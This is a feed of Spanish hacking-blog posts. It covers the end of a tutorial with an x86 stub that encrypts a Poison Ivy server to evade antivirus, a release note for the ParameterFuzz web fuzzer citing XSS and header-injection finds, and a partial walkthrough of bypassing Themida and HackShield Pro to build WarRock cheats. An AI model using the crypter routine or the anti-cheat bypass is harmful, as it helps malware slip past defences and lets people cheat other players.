<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">¡De esta forma habríamos cifrado un Crypter! Nada mejor para
llevar a cabo cifrados de otros malware con él mismo.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Es posible incluir rutinas más interesantes, basadas en
otros operadores. Por ejemplo instrucciones de rotación <b>ROR/ROL</b> o sumas y restas con <b>ADD/SUB</b>.
La siguiente imagen muestra un servidor de <b>Poison
Ivy</b> en su versión <b>privada 2.1.4</b>,
siendo el mismo que utilizó <a href="http://foro.elhacker.net/analisis_y_diseno_de_malware/taller_asi_funcionan_los_crypters_cifrando_malware_a_mano-t262806.0.html" title="Ver perfil de [Zero]"><b>[Zero] de elhacker.net</b></a><b> </b>con
rutinas de cifrado y descifrado ampliadas.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyROl1LUwrVKKtYq1rQ9_Ps-lRdybpHNWsNrDofoiVjWtzhD0Yu1CzxOjOo197KXU8JhmX1pkfNTkRNIgRVMmroobsE6P2QQe_ezn8p-canQpMD8o4soWJ4FAS9snsSQyx_OQReT7LUJMj/s1600/Antivirus+K.O.%252BCifrando%252Bun%252BMalware%252Ba%252Bmano%252B13.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyROl1LUwrVKKtYq1rQ9_Ps-lRdybpHNWsNrDofoiVjWtzhD0Yu1CzxOjOo197KXU8JhmX1pkfNTkRNIgRVMmroobsE6P2QQe_ezn8p-canQpMD8o4soWJ4FAS9snsSQyx_OQReT7LUJMj/s1600/Antivirus+K.O.%252BCifrando%252Bun%252BMalware%252Ba%252Bmano%252B13.PNG" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<b><span style="font-family: Courier New, Courier, monospace;">Cifrado:<o:p></o:p></span></b></div>
<div class="MsoNormal" style="text-align: justify;">
</div>
<div class="MsoNormal">
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="line-height: 14px;"><i>mov eax,401000h</i></span></span></div>
<div class="MsoNormal">
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="line-height: 14px;"><i>xor byte ptr ds:[eax],0FF</i></span></span></div>
<div class="MsoNormal">
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="line-height: 14px;"><i>inc eax</i></span></span></div>
<div class="MsoNormal">
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="line-height: 14px;"><i>add byte ptr ds:[eax],020</i></span></span></div>
<div class="MsoNormal">
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="line-height: 14px;"><i>inc eax</i></span></span></div>
<div class="MsoNormal">
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="line-height: 14px;"><i>xor byte ptr ds:[eax],077</i></span></span></div>
<div class="MsoNormal">
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="line-height: 14px;"><i>inc eax</i></span></span></div>
<div class="MsoNormal">
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="line-height: 14px;"><i>ror byte ptr ds:[eax],002</i></span></span></div>
<div class="MsoNormal">
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="line-height: 14px;"><i>inc eax</i></span></span></div>
<div class="MsoNormal">
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="line-height: 14px;"><i>cmp eax,402690h</i></span></span></div>
<div class="MsoNormal">
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="line-height: 14px;"><i>JNZ SHORT 0040269F </i></span></span></div>
<div class="MsoNormal">
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="line-height: 14px;"><i>jmp 402104h</i></span></span></div>
<br />
<div class="MsoNormal" style="text-align: justify;">
<i><span style="font-size: 10.0pt; line-height: 107%;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<b><span style="font-family: Courier New, Courier, monospace;">Descifrado:<o:p></o:p></span></b></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span style="font-size: 10.0pt; line-height: 107%;"><span style="font-family: Arial, Helvetica, sans-serif;">mov eax,401000h<o:p></o:p></span></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span lang="EN-US" style="font-size: 10.0pt; line-height: 107%; mso-ansi-language: EN-US;"><span style="font-family: Arial, Helvetica, sans-serif;">xor byte ptr
ds:[eax],0FF <o:p></o:p></span></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span lang="EN-US" style="font-size: 10.0pt; line-height: 107%; mso-ansi-language: EN-US;"><span style="font-family: Arial, Helvetica, sans-serif;">inc eax<o:p></o:p></span></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span lang="EN-US" style="font-size: 10.0pt; line-height: 107%; mso-ansi-language: EN-US;"><span style="font-family: Arial, Helvetica, sans-serif;">sub byte ptr
ds:[eax],020<o:p></o:p></span></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span lang="EN-US" style="font-size: 10.0pt; line-height: 107%; mso-ansi-language: EN-US;"><span style="font-family: Arial, Helvetica, sans-serif;">inc eax<o:p></o:p></span></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span lang="EN-US" style="font-size: 10.0pt; line-height: 107%; mso-ansi-language: EN-US;"><span style="font-family: Arial, Helvetica, sans-serif;">xor byte ptr
ds:[eax],077 <o:p></o:p></span></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span lang="EN-US" style="font-size: 10.0pt; line-height: 107%; mso-ansi-language: EN-US;"><span style="font-family: Arial, Helvetica, sans-serif;">inc eax<o:p></o:p></span></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span lang="EN-US" style="font-size: 10.0pt; line-height: 107%; mso-ansi-language: EN-US;"><span style="font-family: Arial, Helvetica, sans-serif;">rol byte ptr
ds:[eax],002 <o:p></o:p></span></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span lang="EN-US" style="font-size: 10.0pt; line-height: 107%; mso-ansi-language: EN-US;"><span style="font-family: Arial, Helvetica, sans-serif;">inc eax<o:p></o:p></span></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span lang="EN-US" style="font-size: 10.0pt; line-height: 107%; mso-ansi-language: EN-US;"><span style="font-family: Arial, Helvetica, sans-serif;">cmp
eax,402690h<o:p></o:p></span></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span lang="EN-US" style="font-size: 10.0pt; line-height: 107%; mso-ansi-language: EN-US;"><span style="font-family: Arial, Helvetica, sans-serif;">JNZ SHORT
00402695<o:p></o:p></span></span></i></div>
<div class="MsoNormal">
<i><span style="font-size: 10.0pt; line-height: 107%;"><span style="font-family: Arial, Helvetica, sans-serif;">jmp 402104h</span><o:p></o:p></span></i></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span style="font-size: 10.0pt; line-height: 107%;"><span style="font-family: Courier New, Courier, monospace;">Saludos
4n4les! ;)</span><o:p></o:p></span></div>
<div class="blogger-post-footer">Feed Blogger Germán Sánchez Garcés</div>Germán Sánchez Garcéshttp://www.blogger.com/profile/09955799520119890787noreply@blogger.com14tag:blogger.com,1999:blog-2707641124274171597.post-87362667114099539642013-04-21T19:12:00.000+02:002013-04-23T23:48:04.156+02:00ParameterFuzz v1.5<br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Bonita tarde de domingo. El Lorenzo entra por el ventanal de
mi salón como si de un allanamiento se tratase, invadiendo mi intimidad y
obligándome a dejar la pantalla de lado para salir a disfrutar. Lo que el
Lorenzo no sabe, es de cómo se encuentra mi estado físico, pues no hay nada más
complaciente para mi hoy, que calentar el sofá de casa como lo hice el resto de
mi vida en aquellos pupitres, que fríos hoy, dejé en mi paso por la escuela. Es
cierto, estar tirado a la bartola en algunos momentos es grato, y más aún
cuando pasas un sábado con grados etílicos en sangre, superiores a las salidas
nocturnas de <i>Pipi Estrada</i>.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Como me considero una persona de palabra, aparte de estar “tirándome
a la bartola”, como avisé en Twitter que este fin de semana, haría publica la
nueva versión de <b>ParameterFuzz</b>, <i>¡no me habéis dejado elección!</i>. Ya vamos
por la <b>versión 1.5</b>, aunque la
repartí en el pasado <b>RootedLab</b> de
seguridad web, esa versión no contaba aún con todas estas nuevas ideas… <i>¡Así que anímense a descargarla!</i><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><i><br /></i></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">En esta versión he querido dar mayores niveles de interacción
de las herramientas secundarias sobre los formularios principales, de manera
que sea más sencillo utilizar todo el “potencial” de la aplicación en una
auditoría. He realizado una reordenación de todos los menús para separar las
auténticas opciones, de las herramientas, además de intentar hacer más fácil la
usabilidad.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">La siguiente imagen muestra el menú de opciones en el que
aparecen las posibilidades de guardar/borrar estados, ver los logs de ataques
automáticos y accesos rápidos a la carpeta de diccionarios. La captura de la derecha,
simplemente muestra la ubicación de todas las herramientas.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7CS-28u6zayOVqq58tYpLrCpxuF5Har8shucI5092ngqamqE5E1GZf2uyvVZiVsQ1tciHs5qxF7fipOmxNce2AyVzG1IZtkFSPoYLHHlBp9diai3PFmZgdG3bwe3LpeGItH2eZJo3vkg4/s1600/ParameterFuzz%252B1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="208" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7CS-28u6zayOVqq58tYpLrCpxuF5Har8shucI5092ngqamqE5E1GZf2uyvVZiVsQ1tciHs5qxF7fipOmxNce2AyVzG1IZtkFSPoYLHHlBp9diai3PFmZgdG3bwe3LpeGItH2eZJo3vkg4/s640/ParameterFuzz%252B1.png" width="640" /></a></span></div>
<br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><b>Add HTTP Header</b>
es una de las dos nuevas herramientas, la cual permite configurar una cabecera
para realizar su envío en todas las peticiones que realice ParameterFuzz. Es
posible incluir un nuevo <b>User-Agent</b>
o inclusive, realizar la modificación de nuestra <b>IP de procedencia</b>, utilizando la cabecera <b>X-Forwarded-For</b>. Esta cabecera viene escrita por defecto, aunque no
activada incluyendo nuestra IP local.<o:p></o:p></span></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyXjkArY_WderX2uBTYXQo2BaKJHD_y5UCX4yaA-XOfTi_Mktam-9AbNtMvUKyoFdvBMnaVCaQ6z9LquC3TUqhygVXCFxLLyWCjlPjprmkq7GfZNW2Rs2LUUnEB8O1jg6hDcvn1kiWdHEH/s1600/ParameterFuzz%252B2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="220" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyXjkArY_WderX2uBTYXQo2BaKJHD_y5UCX4yaA-XOfTi_Mktam-9AbNtMvUKyoFdvBMnaVCaQ6z9LquC3TUqhygVXCFxLLyWCjlPjprmkq7GfZNW2Rs2LUUnEB8O1jg6hDcvn1kiWdHEH/s640/ParameterFuzz%252B2.png" width="640" /></a></span></div>
<br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Otro de los cambios el cual se puede apreciar, es la
inclusión de la cabecera en el formulario principal, para ver de forma sencilla
que este se está utilizando.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">En la siguiente imagen, se muestra cómo es posible explotar
un <b>HTML Injection</b> desde una cabecera
X-Forwarded-For, visitando una página que muestra nuestra IP.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOY5qIoxgPkj4f3ySfUdFyoOuQambYXkyQ3M4FwhjnpE66F1i2jJmcnlxuFm5Nb4dFu1goHw7-0ka35cfJGp0AOE1A7aLiDAvnWPzHrTi-QI4MrA_MlTrG9dyrJai1Lzk8-IJ45LkxNaWy/s1600/ParameterFuzz%252B3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="460" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOY5qIoxgPkj4f3ySfUdFyoOuQambYXkyQ3M4FwhjnpE66F1i2jJmcnlxuFm5Nb4dFu1goHw7-0ka35cfJGp0AOE1A7aLiDAvnWPzHrTi-QI4MrA_MlTrG9dyrJai1Lzk8-IJ45LkxNaWy/s640/ParameterFuzz%252B3.png" width="640" /></a></span></div>
<br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Se me ocurrió realizar modificaciones al <b>Spider</b>, con el objetivo de poder
visitar las páginas sobre el propio navegador de ParameterFuzz. Realizando un
doble clic sobre cualquiera de las páginas que la araña extraiga, estas serán enviadas
al browser. Además se incluyeron botones de navegación, “<” atrás. “>”
adelante y “()” actualización, con el objetivo de poder visitar páginas que más
tarde serán tratadas con las herramientas o el nuevo botón <b>URLSpider</b>, el cual enviará automáticamente la URL actual al Spider
para seguir con la búsqueda.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrYoQOP5yO_njmvl8AOySdpOVVKsseF0BOhmPwnekFyTEJKR27OLywysLx4wTQZEszma2vydY5beW42gJosrManXufJ0Sq5ZWwKm0TMfJUZGE2vsHPL-PipKm4Yijfnc02SArLMYd04_l9/s1600/ParameterFuzz%252B4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="384" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrYoQOP5yO_njmvl8AOySdpOVVKsseF0BOhmPwnekFyTEJKR27OLywysLx4wTQZEszma2vydY5beW42gJosrManXufJ0Sq5ZWwKm0TMfJUZGE2vsHPL-PipKm4Yijfnc02SArLMYd04_l9/s640/ParameterFuzz%252B4.png" width="640" /></a></span></div>
<br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">La otra idea que se me ocurrió fue <b>Input’s Parameters</b> , la cual se encarga de “parsear” el código
fuente de las páginas, con el objetivo de extraer el campo “name” de todos los “inputs”.
De esta forma tener parámetros fiables con los que realizar los ataques. La
siguiente imagen muestra, como tan solo realizando la extracción de los “inputs”,
encontré un <b>XSS reflejado</b> en el panel de administración de una página.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIT6qge7CX2CVKn4ELTvE-iHizBAIQj9vUgGtiW8VLEOJt_EvmqgAiE6hJoIb1_TJZM4NZKfU0BkNpBUxi39ALA2N-CnZMrWrNRZUYagXtwnVgimDjNGjs44E-0FGVXKBLpsIxhi3_Askh/s1600/ParameterFuzz%252B5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="460" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIT6qge7CX2CVKn4ELTvE-iHizBAIQj9vUgGtiW8VLEOJt_EvmqgAiE6hJoIb1_TJZM4NZKfU0BkNpBUxi39ALA2N-CnZMrWrNRZUYagXtwnVgimDjNGjs44E-0FGVXKBLpsIxhi3_Askh/s640/ParameterFuzz%252B5.png" width="640" /></a></span></div>
<br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">En el caso de que la página contenga un número de “inputs”
lo suficientemente grande como para tener que automatizar el proceso, la caja
de texto de la aplicación permite el copiado de las palabras, con lo que
realizar el cambio de diccionarios es tan sencillo como ir al menú de accesos
directos y modificar “Parametros.txt”.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwJl8qeo8g-ZwF3RE-CAvILMxwoPfz0bGI93WAr77TyObggwpdxZ_jGlbWsBPaRLJ1n0oPHCuuiOmm_wk4-vfkz3wt5PRApY9kP99J-lKnLS_yxWCo9HVRZDtTMlN4Q1z-nFhynQ8-yuQa/s1600/ParameterFuzz%252B6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="460" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwJl8qeo8g-ZwF3RE-CAvILMxwoPfz0bGI93WAr77TyObggwpdxZ_jGlbWsBPaRLJ1n0oPHCuuiOmm_wk4-vfkz3wt5PRApY9kP99J-lKnLS_yxWCo9HVRZDtTMlN4Q1z-nFhynQ8-yuQa/s640/ParameterFuzz%252B6.png" width="640" /></a></span></div>
<br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Espero que les hayan
gustado los cambios, que la prueben… y no sean malos.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Descarga:</span><br />
<a href="https://code.google.com/p/parameterfuzz/"><span style="font-family: Courier New, Courier, monospace;">https://code.google.com/p/parameterfuzz/</span></a></div>
<div class="MsoNormal" style="text-align: justify;">
<a href="http://www.4shared.com/get/GoyAaMxR/ParameterFuzz_v15.html"><span style="font-family: Courier New, Courier, monospace;">http://www.4shared.com/get/GoyAaMxR/ParameterFuzz_v15.html</span></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Saludos 4n4les! ;P</span><o:p></o:p></div>
<div class="blogger-post-footer">Feed Blogger Germán Sánchez Garcés</div>Germán Sánchez Garcéshttp://www.blogger.com/profile/09955799520119890787noreply@blogger.com4tag:blogger.com,1999:blog-2707641124274171597.post-45559157405258644642013-03-26T00:02:00.000+01:002013-03-26T00:13:24.253+01:00HackShield Pro K.O. ¡A la caza del Cheto!<br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><i>¡Vuelvo a la carga con
ganas de jugar!</i>, y es que si después del tostón laboral… volvemos a casa a
leer <b>enelpc</b> y nos encontramos con una
angustiosa entrada hablando de problemas personales, <i>¡moriríamos de estrés!</i> Relax hermanos… <i>¡la crisis se irá!</i> O si no… <i>¡nos
iremos nosotros! </i><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Esta vez se me ocurrió dar la última pincelada a mi
herramienta <b><a href="http://www.4shared.com/get/Kn4Mbj1C/eneldll_injector.html">EnelDLL Injector</a></b>, ahora
sí, contando con una librería en <b>C++</b>
que inyectar al proceso del juego <b>WarRock</b>.
Entre mil y una prueba, con noche incluida, dimití este fin de semana a seguir
utilizando Windows7, para realizar el volcado de la memoria del proceso del
juego. Y es que por defecto, WarRock.exe viene empaquetado con <b>Themida</b>, esto hace del reversing, una
tarea ardua y tenebrosa. Así que me monté una máquina virtual de cero, con
Windows XP a la antigua usanza y copié todo el contenido de la carpeta del
juego en su escritorio, para tratar de realizar el dumpeo del ejecutable con un
famoso software llamado <b>Kernel Detective</b>,
el cual<b> </b>no es funcional en Windows7.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">¿Cómo no? Tenía que encontrarme con problemas, después de
todo, lo más importante es que en la máquina virtual se ejecutase WarRock.exe… <i>¡Pues no!</i> <b>Error 207</b> arrancando <b>HackShield
Pro</b>. Ya tenía que empezar a darme guerra sin pincharle si quiera.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Así que buscando información sobre el error, me topé con lo
siguiente:<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5JPhZFxfyXP4ZT8c7tjps_4JZwryqoCBGN6Bq9YAHmUd2uIaggZzsWO8pn52ygnA74RDo0gYRCo0HROAN5RNjHx-wjHtWYEvzIjF51yzb3NsCmofNahtZvI-pHUe5gINN5MgeX3_RZpLz/s1600/1-Themida.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="144" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5JPhZFxfyXP4ZT8c7tjps_4JZwryqoCBGN6Bq9YAHmUd2uIaggZzsWO8pn52ygnA74RDo0gYRCo0HROAN5RNjHx-wjHtWYEvzIjF51yzb3NsCmofNahtZvI-pHUe5gINN5MgeX3_RZpLz/s640/1-Themida.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">¿Recuerdan la <a href="http://www.enelpc.com/2011/03/la-utopia-de-la-in-seguridad.html">entrada
de los Antis</a>? Pues simplemente <b>Themida</b>
se encargaba de realizar su tarea, evitando la ejecución del proceso en un
entorno virtualizado. Así que era imposible ejecutar Warrock en un VMware ¿eh?<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Nada más sencillo, como modificar el fichero de arranque de
la máquina virtual, incluyendo unas instrucciones para deshabilitar los
controles de copiado y pegado de las <b>Isolations
Tools</b>. <b>¡Bypass al Themida!<o:p></o:p></b></span></div>
<div class="MsoNormal" style="text-align: justify;">
<b><span style="font-family: Courier New, Courier, monospace;"><br /></span></b></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsZZeXOtR0N8Sd4CAf6ISrl9qzqfmWjDzHuOKEnugHdn327ziHZILkMKhD2GaGBx4mqeNqyc5n0U9DKMkmkkSEUllhIKgqabRpSozRNg1_uKEO2HVqu17uR-m-Kd_BEJqRXisMQ0JDSMWP/s1600/2-vmware.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="567" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsZZeXOtR0N8Sd4CAf6ISrl9qzqfmWjDzHuOKEnugHdn327ziHZILkMKhD2GaGBx4mqeNqyc5n0U9DKMkmkkSEUllhIKgqabRpSozRNg1_uKEO2HVqu17uR-m-Kd_BEJqRXisMQ0JDSMWP/s640/2-vmware.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Arrancando el juego y <b>Kernel
Detective</b>, ahora sí, podremos disponernos a realizar el volcado del proceso…<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRui81TsXimpj9xiJ_BfrX-vOzBJskIrD171yCIOK7RB_2_w1Yvsg3O67zjb_GEZTFk7zjT4OlTkj8THmaAJuUQSYyqPJKUbb-SuCgnI0xUd7hN1NseQCb7DIRBbkKAuf-QeuogyyLlDzd/s1600/3-Dump.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="494" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRui81TsXimpj9xiJ_BfrX-vOzBJskIrD171yCIOK7RB_2_w1Yvsg3O67zjb_GEZTFk7zjT4OlTkj8THmaAJuUQSYyqPJKUbb-SuCgnI0xUd7hN1NseQCb7DIRBbkKAuf-QeuogyyLlDzd/s640/3-Dump.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Guardé como WarRock.exe y me lo llevé de nuevo a mi querida máquina
real con Windows7.<o:p></o:p></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Paso siguiente, sería buscar las direcciones de memoria,
donde realizar las modificaciones para nuestros super-poderes. Así que tirando
de foros, me hice con unos listados sencillos de los tipos de cheats que podría
realizar, siendo inteligentes, si queremos realizar trucos sin ser detectados,
deberíamos de utilizar aquellos en los que no se nos vea volando o matando a 20
a la vez… ya saben, <i>¡dos dedos de frente!</i><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Uno de los chetos más interesantes para mí, sería el que me
diera la posibilidad de hacer las paredes transparentes, así vería a todos los
contrincantes venir. <i>¡Pero claro!</i> o
bien activo y desactivo el cheto constantemente, o bien me conozco el mapa
mentalmente para no chocarme con las paredes transparentes. ;)<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">El truco es conocido como <b>GlassWall</b>, nada que ver con WallHack, lo último es atravesar
paredes jejej. Según palabras textuales de los foros de <i>MPGH.net</i>:<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: center;">
<b><span lang="EN-US" style="background-color: #fafafa; background-position: initial initial; background-repeat: initial initial; color: red; font-size: 8pt;"><span style="font-family: Courier New, Courier, monospace;">-[GlassWalls]-<o:p></o:p></span></span></b></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
</div>
<div style="text-align: justify;">
<span style="background-color: #fafafa; color: #333333; font-family: 'Courier New', Courier, monospace; font-size: 8pt;">Now we are going to find the addie for Glasswalls so search
"Frustum.FarDistance". You will see:</span></div>
<span style="font-family: Courier New, Courier, monospace;"></span><br />
<div style="text-align: justify;">
